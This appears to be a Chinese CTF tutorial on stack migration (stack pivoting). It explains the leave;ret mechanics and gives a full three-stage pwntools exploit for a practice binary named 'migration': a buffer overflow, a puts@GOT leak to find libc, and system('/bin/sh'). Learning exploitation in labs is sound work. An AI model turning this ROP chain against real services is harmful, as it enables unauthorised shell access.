Stack Migration(栈迁移)
Stack Migration(栈迁移)
原理
1.通过overflow
覆盖prev ebp
的值,让程序在执行完当前函数后执行leave(mov esp,ebp ; pop ebp)
恢复栈帧时,获取到错误的prev ebp
从而让ebp跳转到指定的位置。
2.此时esp执行到我们之前写入的gets
函数,gets
取buf1处的地址作为参数(buf1的地址也就是我们之前劫持ebp跳转到的地址),此时通过写入shellcode构造第二段rop填入buf1
3.此时程序执行完gets
函数后执行leave指令,(mov esp,ebp)
将esp移动到此前的ebp的位置,(pop ebp)
此时ebp读取buf1中末尾的buf2处存放的地址,跳转到第二处buf空间,也就是buf2的位置
4.这时程序执行完puts
函数,puts函数通过读取之前写入的任意函数的GOT表地址,打印出任意函数的GOT表地址,泄露出动态地址
5.程序执行完上一步的pop
指令清空栈上的用过的任意函数的GOT表地址(防止程序seg falt),执行gets
函数以buf2中存放的地址作为参数,获取输入的内容,存放到buf2中,构建第三段rop
6.程序此时执行完leave
指令,(mov esp ,ebp)
将esp搬到ebp的位置,(pop ebp)
将buf2中存放的buf1的地址赋给ebp
7.此时buf2中的rop中填充了system的动态地址
(根据前面的任意函数泄露出来的动态地址-任意函数的静态地址+system函数的静态地址计算所得),并且还写入了/bin/sh
字符串,从而执行了get shell的操作
特殊情况
通过add指令,让esp跳转到我们可控的部分
例题-migration
分析
只有NX和RELRO开启
程序无后门函数
read()函数读取了0x40大小的字节,也就是64字节大小,但是buf空间只有24个字节大小,栈溢出
但是也因为read只读取了64字节大小,导致无法构造完整的rop链,所以只能栈迁移
第一段rop
先测定pading大小,正常应该44字节,一直覆盖到return address
地址,但是因为需要篡改prev addr
所以只覆盖44字节,接下来寻找可以写入的空间
根据上面两图可知,可写区段是data段,所以采用data段后半截作为buf的地址
接下来就是寻找gets_plt
和leave_ret
的地址
使用ropgadget可以知道
0x08048418 : leave ; ret
使用elfsymbol可以查看函数plt
发现没有gets函数,只有read函数,那就用read函数
read函数三个参数
int fd
void *buf
size_t count
所以需要在栈中布置上面的三个参数
from pwn import *
p = process('./migration')
buf1 = 0x804ae00
read_plt = 0x8048380
leave_ret = 0x08048418
rop = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = cyclic(40) + rop
p.sendafter('\n',payload)
p.interactive()
可以发现程序正在接收输入,表示成功
第二段rop
目标是在buf1
中构建如下的布局
buf2
采用buf1+0x100
的方式
puts_plt
gdb-peda$ elfsymbol
Found 6 symbols
read@plt = 0x8048380
_exit@plt = 0x8048388
puts@plt = 0x8048390
__gmon_start__@plt = 0x8048398
__libc_start_main@plt = 0x80483a0
setvbuf@plt = 0x80483a8
pop_ret
使用ROPgadget
0x0804836d : pop ebx ; ret
puts_got
read_plt
,leave_ret
已经有了
构造接下来的rop
#rop2
buf2 = buf1 + 0x100
puts_plt = 0x8048390
pop_ebx_ret = 0x0804836d
puts_got = 0x08049ff0
rop2 = flat([buf2,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
p.send(rop2)
此时打印出来了puts函数的动态地址
第三段rop
首先接收一下上一步打印出来的puts
函数的动态地址
puts_dy = u32(p.recvuntil('\n',drop = True))
由于rop
链在执行完system
后就结束了,所以也不需要再用pop ret
了,直接0xdeadbeef
就行了
system动态地址
gdb-peda$ off puts
puts:0x67d90
gdb-peda$ off system
system:0x3d3d0
所以system函数动态地址等于puts动态地址-puts静态地址+system静态地址
/bin/sh
直接写入就行
/bin/sh
地址为buf2+16
第三段的exp为
#rop3
puts_sym = 0x67d90
puts_dy = u32(p.recvuntil('\n',drop = True))
libc_base = puts_dy - puts_sym
system = libc_base + 0x3d3d0
sh = buf2 + 16
rop3 = flat([buf1,system,0xdeadbeef,sh,"/bin/sh\x00"])
p.send(rop3)
p.interactive()
完整exp
from pwn import *
p = process('./migration')
###rop1
buf1 = 0x804ae00
read_plt = 0x8048380
leave_ret = 0x08048418
rop = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = cyclic(40) + rop
p.sendafter('\n',payload)
###rop2
buf2 = buf1 + 0x100
puts_plt = 0x8048390
pop_ebx_ret = 0x0804836d
puts_got = 0x08049ff0
rop2 = flat([buf2,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
p.send(rop2)
###rop3
puts_sym = 0x67d90
puts_dy = u32(p.recvuntil('\n',drop = True))
libc_base = puts_dy - puts_sym
system = libc_base + 0x3d3d0
sh = buf2 + 16
rop3 = flat([buf1,system,0xdeadbeef,sh,"/bin/sh\x00"])
p.send(rop3)
p.interactive()